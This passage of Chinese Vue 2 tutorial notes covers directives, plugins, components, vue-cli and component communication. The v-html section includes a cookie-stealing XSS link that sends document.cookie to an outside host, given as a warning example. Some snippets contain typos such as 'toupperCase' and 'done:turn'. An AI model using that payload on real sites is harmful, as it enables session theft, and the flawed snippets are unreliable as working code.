				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			//局部过滤器
			filters:{
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				}
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,atguigu!'
			}
		})
	</script>

1.13. 内置指令与自定义指令

1.13.1. 常用内置指令

v-bind : 单向绑定解析表达式, 可简写为 :xxx

v-model : 双向数据绑定

v-for : 遍历数组/对象/字符串

v-on : 绑定事件监听, 可简写为@

<el-button type="primary" @click="querySeatList">查询</el-button>
<el-button type="primary" @click="querySeatList()">查询</el-button>
注意：加与不加括号的区别在于事件对象参数 event 的处理。不加括号时，函数默认参数为 event，加了括号后，需要手动传入 $event 才能获得事件对象，或者是在点击的时候，自定义传入的参数，原生的js是要加括号的

v-if : 条件渲染（动态控制节点是否存存在）

v-else : 条件渲染（动态控制节点是否存存在）

v-show : 条件渲染 (动态控制节点是否展示)

v-text

v-html

v-cloak

v-once

v-pre

v-text指令：

​ 1.作用：向其所在的节点中渲染文本内容。

​ 2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<div id="root">
			<div>你好，{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>'
			}
		})
	</script>

v-html指令：

​ 1.作用：向指定节点中渲染包含html结构的内容。

​ 2.与插值语法的区别：

​ (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。

​ (2).v-html可以识别html结构。

​ 3.严重注意：v-html有安全性问题！！！！

​ (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

​ (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<div id="root">
			<div>你好，{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
			}
		})
	</script>

v-cloak指令（没有值）：

​ 1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

​ 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>

v-once指令：

​ 1.v-once所在节点在初次动态渲染后，就视为静态内容了。

​ 2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>

v-pre指令：

​ 1.跳过其所在节点的编译过程。

​ 2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>

1.13.2. 自定义指令

常用：配置对象中常用的3个回调：
(1).bind：指令与元素成功绑定时调用。
(2).inserted：指令所在元素被插入页面时调用。
(3).update：指令所在模板结构被重新解析时调用。

注意：1.指令定义时不加v-，但使用时要加v-；

​ 2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

1. 注册全局指令

Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

Vue.directive('my-directive', function(el, binding){
    el.innerHTML = binding.value.toupperCase()
})

2. 注册局部指令,对象式写法和函数式写法。对象式写法在案例例子里

// element是dom元素，这里的dom元素是<span></span>.binding是一个对象，对象里面有value值。
directives : {
    'my-directive' : {
        bind (element, binding) {
            element.innerHTML = binding.value.toupperCase()
        }
    }
}

3. 使用指令

v-my-directive='xxx'

1.13.3. 案例

	<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是：<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时（一上来）
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:1
			},
			directives:{
				//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。 element是dom元素，这里的dom元素是<span></span>.binding是一个对象，对象里面有value值。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 10
				},
				fbind:{
					//指令与元素成功绑定时（一上来）
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
		
	</script>

1.14. 自定义插件

1.14.1. 说明

1. Vue 插件是一个包含 install 方法的对象
   2) 通过 install 方法给 Vue 或 Vue 实例添加方法, 定义全局指令等

1.14.2. 案例

1. 插件 JS

/**
- 自定义 Vue 插件
  */
(function () {
    const MyPlugin = {}
    MyPlugin.install = function (Vue, options) {
        // 1. 添加全局方法或属性
        Vue.myGlobalMethod = function () {
            alert('Vue 函数对象方法执行')
        } //

        2. 添加全局资源
        Vue.directive('my-directive', function (el, binding) {
            el.innerHTML = "MyPlugin my-directive " + binding.value
        })
        // 3. 添加实例方法
        Vue.prototype.$myMethod = function () {
            alert('vue 实例对象方法执行')
        }
    }
    window.MyPlugin = MyPlugin
})()

2. 页面使用插件

<div id="demo">
    <!--使用自定义指令-->
    <p v-my-directive="ms》g"></p>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript" src="vue-myPlugin.js"></script>
<script type="text/javascript">
    //使用自定义插件
    Vue.use(MyPlugin)
    var vm = new Vue({
        el: '#demo',
        data: {
            msg: 'atguigu'
        }
    })
    //调用自定义的静态方法
    Vue.myGlobalMethod()
    //调用自定义的对象方法
    vm.$myMethod()
</script> 

1.15 非单文件组件

组件的定义：实现应用中局部功能代码和资源的集合。

非单文件组件：一个文件中包含有n个组件。

单文件组件：一个文件中只包含有1个组件。

1.15.1 组件的基本使用

Vue中使用组件的三大步骤：
一、定义组件(创建组件)
二、注册组件(全局注册和局部注册)
三、使用组件(写组件标签)

一、如何定义一个组件？
使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别；
区别如下：
1.el不要写，为什么？ ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。
2.data必须写成函数，为什么？ ———— 避免组件被复用时，数据存在引用关系。
备注：使用template可以配置组件结构。

二、如何注册组件？
1.局部注册：靠new Vue的时候传入components选项
2.全局注册：靠Vue.component(‘组件名’,组件)

三、编写组件标签：

四、案例

<div id="root">
			<hello></hello>
			<hr>
			<h1>{{msg}}</h1>
			<hr>
			<!-- 第三步：编写组件标签 -->
			<school></school>
			<hr>
			<!-- 第三步：编写组件标签 -->
			<student></student>
		</div>

		<div id="root2">
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		//第一步：创建school组件
		const school = Vue.extend({
			template:`
				<div class="demo">
					<h2>学校名称：{{schoolName}}</h2>
					<h2>学校地址：{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
				</div>
			`,
			// el:'#root', //组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务于哪个容器。
			data(){
				return {
					schoolName:'尚硅谷',
					address:'北京昌平'
				}
			},
			methods: {
				showName(){
					alert(this.schoolName)
				}
			},
		})

		//第一步：创建student组件
		const student = Vue.extend({
			template:`
				<div>
					<h2>学生姓名：{{studentName}}</h2>
					<h2>学生年龄：{{age}}</h2>
				</div>
			`,
			data(){
				return {
					studentName:'张三',
					age:18
				}
			}
		})
		
		//第一步：创建hello组件
		const hello = Vue.extend({
			template:`
				<div>	
					<h2>你好啊！{{name}}</h2>
				</div>
			`,
			data(){
				return {
					name:'Tom'
				}
			}
		})
		
		//第二步：全局注册组件
		Vue.component('hello',hello)

		//创建vm
		new Vue({
			el:'#root',
			data:{
				msg:'你好啊！'
			},
	//第二步：注册组件（局部注册），双单词写法：'my-school'或MySchool(两个单词的首字母大学)
			components:{
				school,
				student
			}
		})

		new Vue({
			el:'#root2',
		})
	</script>
</html>

五、几个注意点：
1.关于组件名:
一个单词组成：
第一种写法(首字母小写)：school
第二种写法(首字母大写)：School
多个单词组成：
第一种写法(kebab-case命名)：my-school
第二种写法(CamelCase命名)：MySchool (需要Vue脚手架支持)
备注：
(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

​ 2.关于组件标签:
​ 第一种写法：
​ 第二种写法：
​ 备注：不用使用脚手架时，会导致后续组件不能渲染。

​ 3.一个简写方式：
​ const school = Vue.extend(options) 可简写为：const school = options

const student = {
			template:`
				<div>
					<h2>学生姓名：{{studentName}}</h2>
					<h2>学生年龄：{{age}}</h2>
				</div>
			`,
			data(){
				return {
					studentName:'张三',
					age:18
				}
			}
		}

1.15.2 组件嵌套

子组件的使用注册都是在父组件的定义里面写的。注意：子组件的注册前必须先定义。

这里定义app组件管理所有组件，而vm管理着app组件

//定义student组件
		const student = Vue.extend({
			name:'student',
			template:`
				<div>
					<h2>学生姓名：{{name}}</h2>	
					<h2>学生年龄：{{age}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					age:18
				}
			}
		})
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称：{{name}}</h2>	
					<h2>学校地址：{{address}}</h2>	
					<student></student>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			//注册组件（局部）
			components:{
				student
			}
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`<h1>{{msg}}</h1>`,
			data(){
				return {
					msg:'欢迎来到尚硅谷学习！'
				}
			}
		})
		
		//定义app组件
		const app = Vue.extend({
			template:`
				<div>	
					<hello></hello>
					<school></school>
				</div>
			`,
			components:{
				school,
				hello
			}
		})

		//创建vm
		new Vue({
			template:'<app></app>',
			el:'#root',
			//注册组件（局部）
			components:{app}
		})
	</script>

1.15.3 VueComponent构造函数

关于VueComponent：

​ 1.school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。

​ 2.我们只需要写或，Vue解析时会帮我们创建school组件的实例对象，即Vue帮我们执行的：new VueComponent(options)。

​ 3.特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent！！！！

​ 4.关于this指向：

​ (1).组件配置中：

​ data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。

​ (2).new Vue(options)配置中：

​ data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

​ 5.VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。

​ Vue的实例对象，以后简称vm。

​ 6.一个重要的内置关系：

​ 1.VueComponent.prototype.proto === Vue.prototype
​ 2.为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法。

第 2 章： vue-cli 组件化编程

2.1. 使用 vue-cli 创建模板项目

说明

1. vue-cli 是 vue 官方提供的脚手架工具
   2) github: https://github.com/vuejs/vue-cli
   3) 作用: 从 https://github.com/vuejs-templates 下载模板项目

2.1.1. 初始化脚手架

第一步（仅第一次执行）：全局安装@vue/cli。

npm install -g @vue/cli

第二步：切换到你要创建项目的目录，然后使用命令创建项目

vue create xxx     //XXX为项目名

第三步：启动项目

npm run serve

停止项目运行：按CTRL+C 然后随意按空格键

备注：

1. 如出现下载缓慢请配置 npm 淘宝镜像：

npm config set registry https://registry.npm.taobao.org

2. Vue 脚手架隐藏了所有 webpack 相关的配置，若想查看具体的 webpakc 配置，

请执行：vue inspect > output.js

cli 2.x安装

拉取 2.x 模板 (旧版本)

Vue CLI >= 3 和旧版使用了相同的 vue 命令，所以 Vue CLI 2 (vue-cli) 被覆盖了。如果你仍然需要使用旧版本的 vue init 功能，你可以全局安装一个桥接工具：

npm install -g @vue/cli-init

vue init webpack vue_demo(project_name)
cd vue_demo
npm install
npm run dev

访问: http://localhost:8080/

2.1.2. 模板项目的结构

── node_modules

├── public

│ ├── favicon.ico: 页签图标

│ └── index.html: 主页面

├── src

│ ├── assets: 存放静态资源

│ │ └── logo.png

│ │── component: 存放组件

│ │ └── HelloWorld.vue

│ │── App.vue: 汇总所有组件

│ │── main.js: 入口文件

├── .gitignore: git 版本管制忽略的配置

├── babel.config.js: babel 的配置文件

├── package.json: 应用包配置文件

├── README.md: 应用描述文件

├── package-lock.json：包版本控制文件

---

|-- build : webpack 相关的配置文件夹(基本不需要修改)
|-- dev-server.js : 通过 express 启动后台服务器
|-- config: webpack 相关的配置文件夹(基本不需要修改)
|-- index.js: 指定的后台服务的端口号和静态资源文件夹
|-- node_modules
|-- src : 源码文件夹
|-- components: vue 组件及其相关资源文件夹
|-- App.vue: 应用根主组件
|-- main.js: 应用入口 js
|-- static: 静态资源文件夹（build打包原封不动的放到dist文件夹中）
|-- .babelrc: babel 的配置文件
|-- .eslintignore: eslint 检查忽略的配置
|-- .eslintrc.js: eslint 检查的配置
|-- .gitignore: git 版本管制忽略的配置
|-- index.html: 主页面文件
|-- package.json: 应用包配置文件
|-- README.md: 应用描述说明的 readme 文件

.editorconfig配置格式

cli 3.x安装

创建项目

vue create hello-world

在c:user/xxx/.vuerc里可以删除预设的vuecli配置

rc-> run command

vuecli3配置文件的查看和修改

vue ui

自定义配置文件vue.config.js

// vue.config.js
module.exports = {
  // 选项...
}

2.2. 项目的打包与发布

2.2.1. 打包:

npm run build

2.2.2. 发布 1: 使用静态服务器工具包

npm install -g serve
serve dist
访问: http://localhost:5000

2.2.3. 发布 2: 使用动态 web 服务器(tomcat)

修改配置: .config/index.js

  build: {
    // Template for index.html
    index: path.resolve(__dirname, '../dist/index.html'),

    // Paths
    assetsRoot: path.resolve(__dirname, '../dist'),
    assetsSubDirectory: 'static',
    assetsPublicPath: '/vue_demo',
  }

重新打包:
npm run build
修改 dist 文件夹为项目名称: xxx
将 xxx 拷贝到运行的 tomcat 的 webapps 目录下
访问: http://localhost:8080/xx

2.3. eslint

2.3.1. 说明

1. ESLint 是一个代码规范检查工具
   2) 它定义了很多特定的规则, 一旦你的代码违背了某一规则, eslint会作出非常有用的提示
   3) 官网: http://eslint.org/
   4) 基本已替代以前的 JSLint

2.3.2. ESLint 提供以下支持

1. ES
   2) JSX
   3) style 检查
   4) 自定义错误和提示

2.3.3. ESLint 提供以下几种校验

1. 语法错误校验
   2) 不重要或丢失的标点符号， 如分号
   3) 没法运行到的代码块（使用过 WebStorm 的童鞋应该了解）
   4) 未被使用的参数提醒
   5) 确保样式的统一规则， 如 sass 或者 less
   6) 检查变量的命名

2.3.4. 规则的错误等级有三种

1. 0： 关闭规则。
   2) 1： 打开规则， 并且作为一个警告（信息打印黄色字体）
   3) 2： 打开规则， 并且作为一个错误（信息打印红色字体 )

2.3.5. 相关配置文件

1. .eslintrc.js : 全局规则配置文件
   ‘rules’: {
   ‘no-new’: 1
   }
   2) 在 js/vue 文件中修改局部规则
   /* eslint-disable no-new */
   new Vue({
   el: ‘body’,
   components: { App }
   })
   3) .eslintignore: 指令检查忽略的文件
   *.js
   *.vu

2.4. 单文件组件

2.4.1. vue 文件的组成(3 个部分)

1. 定义组件

<template>
  //第一部分：页面模板
</template>

<script>
    //第二部分：JS
    export default {
		name:'XX',//定义组件的名字
		data() {return {}}, 
    	methods: {},
        computed: {},
        components: {} //可以注册子组件
	}
</script>

<style> 

 //第三部分：样式定义
    
</style>

2. App组件

   说明：我们一般都定义一个App组件作为所有组件的父组件，方便管理所有组件，但所有组件都要听从vm的分配。vm在main.js中创建。

3. 使用app组件

<template>
	<div>
		<School></School>
		<Student></Student>
	</div>
</template>

<script>
	//引入组件
	import School from './School.vue'
	import Student from './Student.vue'

	export default {
		name:'App',
        //这里注册所有子组件
		components:{ 
			School,
			Student
		}
	}
</script>

4. main.js文件的说明

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'

//关闭Vue的生产提示
Vue.config.productionTip = false
//使用插件，插件的使用方式都是Vue.use()
Vue.use(vueResource)

//创建vm
new Vue({
	el:'#app',  // 容器，在index.html中
	render: h => h(App), //将App放入容器中
	beforeCreate() {
		Vue.prototype.$bus = this  //全局事件总线
	}
})

2.4.2. 基本使用

1. 引入组件
   2) 映射成标签
   3) 使用组件标签

<template>
    <HelloWorld></HelloWorld>
    <hello-world></hello-world>
</template>
<script>
    import HelloWorld from './components/HelloWorld'
    export default {
        components: {
            HelloWorld
        }
    }
</script>

2.4.3. 关于标签名与标签属性名书写问题
1) 写法一: 一模一样
2) 写法二: 大写变小写, 并用-连接

2.5. 组件间通信

2.5.1. 组件间通信基本原则

1. 不要在子组件中直接修改父组件的状态数据
   2) 数据在哪, 更新数据的行为(函数)就应该定义在哪

2.5.2. vue 组件间通信方式

1. props
   2) vue 的自定义事件
   3) 消息订阅与发布(如: pubsub 库)
   4) slot
   5) vuex(后面单独讲)

2.6. props的使用：父组件 => 子组件

在标签中使用：

<Student :todos="todos"/>  //:age中加冒号，使用props传值
    
data(){
    return{
        todos:[
            {title:'学习',done:turn},
            {title:'吃饭',done:turn}
        ]
    }
}

1. 作用：用于父组件给子组件传递数据（对象，方法都可以传）

2. 读取方式一: 只指定名称，在需要使用此组件中加入

   props: [‘todos’]

3. 读取方式二: 指定名称和类型

   props: {

   ​ name: String,

   ​ age: Number,

   ​ setNmae: Function

}

4. 读取方式三: 指定名称/类型/必要性/默认值

   props: {

   ​ name: {type: String, required: true, default:xxx},

}

2.7. vue 自定义事件

2.7.1. 子组件向父组件传值

1. 原理：父组件将方法的引用，传递到子组件内部，子组件在内部调用父组件传递过来的方法，同时把要发送给父组件的数据，在调用方法的时候当作参数传递进去；
2. 父组件将方法的引用传递给子组件，其中，getMsg是父组件中methods中定义的方法名称，func是子组件调用传递过来方法时候的方法名称

<son @func="getMsg"></son>

3. 子组件内部通过this.$emit('方法名', 要传递的数据)方式，来调用父组件中的方法，同时把数据传递给父组件使用

<div id="app">
    <!-- 引用父组件 -->
    <son @func="getMsg"></son>

    <!-- 组件模板定义 -->
    <script type="x-template" id="son">
      <div>
        <input type="button" value="向父组件传值" @click="sendMsg" />
      </div>
    </script>
  </div>

  <script>
    // 子组件的定义方式
    Vue.component('son', {
      template: '#son', // 组件模板Id
      methods: {
        sendMsg() { // 按钮的点击事件
          this.$emit('func', 'OK'); // 调用父组件传递过来的方法，同时把数据传递出去
        }
      }
    });

    // 创建 Vue 实例，得到 ViewModel
    var vm = new Vue({
      el: '#app',
      data: {},
      methods: {
        getMsg(val){ // 子组件中，通过 this.$emit() 实际调用的方法，在此进行定义
          alert(val);
        }
      }
    });
  </script>

2.7.2 使用 this.$refs 来获取元素和组件

在标签中定义ref=“xx” ，使用时 this.$refs.xx

等同于JS的原生document.getElementById()，获取ID中的DOM

  <div id="app">
    <div>
      <input type="button" value="获取元素内容" @click="getElement" />
      <!-- 使用 ref 获取元素 -->
      <h1 ref="myh1">这是一个大大的H1</h1>

      <hr>
      <!-- 使用 ref 获取子组件 -->
      <my-com ref="mycom"></my-com>
    </div>
  </div>

  <script>
    Vue.component('my-com', {
      template: '<h5>这是一个子组件</h5>',
      data() {
        return {
          name: '子组件'
        }
      }
    });

    // 创建 Vue 实例，得到 ViewModel
    var vm = new Vue({
      el: '#app',
      data: {},
      methods: {
        getElement() {
          // 通过 this.$refs 来获取元素
          console.log(this.$refs.myh1.innerText);
          // 通过 this.$refs 来获取组件
          console.log(this.$refs.mycom.name);
        }
      }
    });
  </script>

2.7.3 mixin属性的使用，JS代码的复用

一、单独创建一个文件mixin.js，与main.js文件并列并暴露，例如

export const hunhe = {
	methods: {
		showName(){
			alert(this.name)
		}
	}
}
export const hunhe2 = {
	data() {
		return {
			x:100,
			y:200
		}
	}
}

二、在需要使用的组件中引入，并使用(局部使用)，例如

<script>
	//引入一个hunhe
	// import {hunhe,hunhe2} from '../mixin'

	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
				x:666
			}
		},
		// mixins:[hunhe,hunhe2],
	}
</script>

三、全局使用

在main.js文件中引入，并使用

import {hunhe,hunhe2} from './mixin'
Vue.mixin(hunhe)
Vue.mixin(hunhe2)

2.7.4 插件

1. 功能：用于增强Vue

2. 本质：包含install方法的一个对象，install的第一个参数是Vue，第二个以后的参数是插件使用者传递的数据。

3. 定义插件： export default {
   install(Vue,x,y,z){

   ​ }}

export default {
	install(Vue,x,y,z){  //x,y,z是在使用的时候，把参数传过来
            console.log(x,y,z)
            //全局过滤器
            Vue.filter('mySlice',function(value){
                return value.slice(0,4)
            })

            //定义全局指令
            Vue.directive('fbind',{
                //指令与元素成功绑定时（一上来）
                bind(element,binding){
                    element.value = binding.value
                },
                //指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
                //指令所在的模板被重新解析时
                update(element,binding){
                    element.value = binding.value
                }
            })

            //定义混入
            Vue.mixin({
                data() {
                    return {
                        x:100,
                        y:200
                    }
                },
            })

            //给Vue原型上添加一个方法（vm和vc就都能用了）
            Vue.prototype.hello = ()=>{alert('你好啊')}
	}
}

4. 使用插件：在main.js文件中引入，并使用Vue.use()

2.7.5 防止CSS样式冲突：scoped样式

1. 作用：让样式在局部生效，防止冲突。
2. 写法：在style标签中加入scoped,如<style scoped>，还可以在标签中选中使用less样式，<style lang="less">

2.8 Todo-lost案例

1. 组件化案例流程：

   ​ (1).拆分静态组件：组件要按照功能点拆分，命名不要与html元素冲突。

   ​ (2).实现动态组件：考虑好数据的存放位置，数据是一个组件在用，还是一些组件在用：

   ​ 1).一个组件在用：放在组件自身即可。

   ​ 2). 一些组件在用：放在他们共同的父组件上（状态提升）。

   ​ (3).实现交互：从绑定事件开始。

2. props适用于：

   ​ (1).父组件 ==> 子组件 通信

   ​ (2).子组件 ==> 父组件 通信（要求父先给子一个函数）

3. 使用v-model时要切记：v-model绑定的值不能是props传过来的值，因为props是不可以修改的！

4. props传过来的若是对象类型的值，修改对象中的属性时Vue不会报错，但不推荐这样做。

5. 有空多看看操作数组和对象的常用API。

2.9 浏览器本地存储webStorage

1. 存储内容大小一般支持5MB左右（不同浏览器可能还不一样）

2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

3. 相关API：

   1. xxxxxStorage.setItem('key', 'value');
      该方法接受一个键和值作为参数，会把键值对添加到存储中，如果键名存在，则更新其对应的值。

   2. xxxxxStorage.getItem('person');

      ​ 该方法接受一个键名作为参数，返回键名对应的值。

   3. xxxxxStorage.removeItem('key');

      ​ 该方法接受一个键名作为参数，并把该键名从存储中删除。

   4. xxxxxStorage.clear()

      ​ 该方法会清空存储中的所有数据。

4. 备注：

   1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
   2. LocalStorage存储的内容，需要手动清除才会消失。
   3. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到，那么getItem的返回值是null。
   4. JSON.parse(null)的结果依然是null。

2.10 组件自定义事件：子组件 ===> 父组件

1. 一种组件间通信的方式，适用于：子组件 ===> 父组件

2. 使用场景：A是父组件，B是子组件，B想给A传数据，那么就要在A中给B绑定自定义事件（事件的回调在A中）。

3. 绑定自定义事件：

   1. 第一种方式，在父组件中：<Demo @atguigu="test"/>或 <Demo v-on:atguigu="test"/>

   2. 第二种方式，在父组件中：

      <Demo ref="xxx"/>
      ......
      mounted(){ //组件的实例被挂载后调用
         this.$refs.xxx.$on('atguigu',this.test)
      }
      

   3. 若想让自定义事件只能触发一次，可以使用once修饰符，或$once方法。

4. 触发自定义事件：this.$emit('atguigu',数据)

5. 解绑自定义事件this.$off('atguigu')，解绑多个：this.$off(['atguigu'])

6. 组件上也可以绑定原生DOM事件，需要使用native修饰符。

7. 注意：通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时，回调要么配置在methods中，要么用箭头函数，否则this指向会出问题！

​ 8. 子组件可以使用 $emit 触发父组件的自定义事件。

​ vm.$on(event,callback)：监听当前实例上的自定义事件。事件可以由‘vm.$emit` 触发。回调函数会接收所有传入事件触发函数的额外参数。

​ vm.$once( event, callback )：监听一个自定义事件，只触发一次。一旦触发之后，监听器就会被移除。

​ vm.$off( [event, callback] )：移除自定义事件监听器。

​ vm.$emit( eventName, […args] )

• 参数：

  • {string} eventName
  • [...args] arguments的缩写，指代对象，参数或者字符串

  触发当前实例上的事件。附加参数都会传给监听器回调。

子组件：

<template>
  <div>
      <button @click="sendMsgToParent">向父组件传值</button>
  </div>
</template>
<script>
  export default {
    methods: {
      sendMsgToParent:function () {
        this.$emit("childMsg","hello world!");
      }
    }
  }
</script>

父组件：

<template>
  <div id="app">
    //@childMsg 与子组件中this.$emit("childMsg","hello world!")起的名字一致
    <child @childMsg="showChildMsg"></child>
  </div>
</template>

<script>
  import child from './components/Child'
  export default {
    name: "app",
    components: {
      child
    },
    methods:{
      showChildMsg:function (data) {
        console.log(data);
      }
    }
  }
</script>

9. 在自定义的组件中使用原生的js点击事件需要加native()

 <Student @click.native="show" />

2.11 全局事件总线（GlobalEventBus）

1. 一种组件间通信的方式，适用于任意组件间通信。

2. 安装全局事件总线：在main.js中加

new Vue({
	......
	beforeCreate() {
		Vue.prototype.$bus = this //安装全局事件总线，$bus就是当前应用的vm
	},
    ......
}) 

使用事件总线：

​ (1). 接收数据：A组件想接收数据，则在A组件中给$bus绑定自定义事件，事件的回调留在A组件自身。

methods(){
  demo(data){......}
}
......
mounted() {
  this.$bus.$on('xxxx',this.demo)
}
//或者使用箭头函数
 mounted() {
			this.$bus.$on('xxxx',(data)=>{
				console.log('我是School组件，收到了数据',data)
			})

​ (2). 提供数据：this.$bus.$emit('xxxx',数据)

4. 最好在beforeDestroy钩子中，用$off去解绑当前组件所用到的事件。

2.12 消息订阅与发布(PubSubJS 库)

1. 安装pubsub-js

npm install pubsub-js

2. 引入

import PubSub from 'pubsub-js'

3. 订阅消息，需要接收数据的组件，接收方的数据需要在mounted()中写，即组件实例后才能使用

PubSub.subscribe('msg', function(msg, data){})  //msg为自己起的名字
//使用箭头函数订阅，不使用后销毁
mounted() {
			this.pubId = pubsub.subscribe('hello',(msgName,data)=>{
				console.log(this)
				
			})
		},
		beforeDestroy() {
			// this.$bus.$off('hello')
			pubsub.unsubscribe(this.pubId)
		},

4. 发布消息，发送数据的组件

PubSub.publish('msg', data)

5. 注意
   1) 优点: 此方式可实现任意关系组件间通信(数据)

6. 事件的 2 个重要操作(总结)
   1) 绑定事件监听 (订阅消息)
   目标: 标签元素 <button>
   事件名(类型): click/focus
   回调函数: function(event){}
   2) 触发事件 (发布消息)
   DOM 事件: 用户在浏览器上对应的界面上做对应的操作
   自定义: 案例手动触发

2.13 nextTick

1. 语法：this.$nextTick(回调函数)
2. 作用：在下一次 DOM 更新结束后执行其指定的回调。
3. 什么时候用：当改变数据后，要基于更新后的新DOM进行某些操作时，要在nextTick所指定的回调函数中执行。如：显示input输入框后获取焦点。

2.14 Vue封装的过度与动画

1. 作用：在插入、更新或移除 DOM元素时，在合适的时候给元素添加样式类名。

2. 写法：

   1. 准备好样式：

      • 元素进入的样式：
        1. v-enter：进入的起点
        2. v-enter-active：进入过程中
        3. v-enter-to：进入的终点
      • 元素离开的样式：
        1. v-leave：离开的起点
        2. v-leave-active：离开过程中
        3. v-leave-to：离开的终点

   2. 使用<transition>包裹要过度的元素，并配置name属性：

   <transition name="hello">
   	<h1 v-show="isShow">你好啊！</h1>
   </transition>
   //配置了name属性，在写css样式时，就要将上面的v改为name的属性
   .hello-enter-active,.hello-leave-active{
   		transition: 0.5s linear;
   	}
   

   3. 备注：若有多个元素需要过度，则需要使用：<transition-group>，且每个元素都要指定key值。

   4. 可以通过 appear attribute 设置节点在初始渲染的过渡，即一开始打开站点时就有动画

   <transition appear>
     <!-- ... -->
   </transition>
   

3. 或者使用第三方集成的动画库，npmjs.com网站

2.15 插槽slot

1. 作用：让父组件可以向子组件指定位置插入html结构，也是一种组件间通信的方式，适用于 父组件 ===> 子组件 。

2. 分类：默认插槽、具名插槽、作用域插槽

3. 使用方式：

   (1) 默认插槽：

父组件中：
        <Category>
            <!-- 必须使用闭合标签，将需要的内容放在闭合标签中 -->
           <div>html结构1</div>
        </Category>
子组件中：
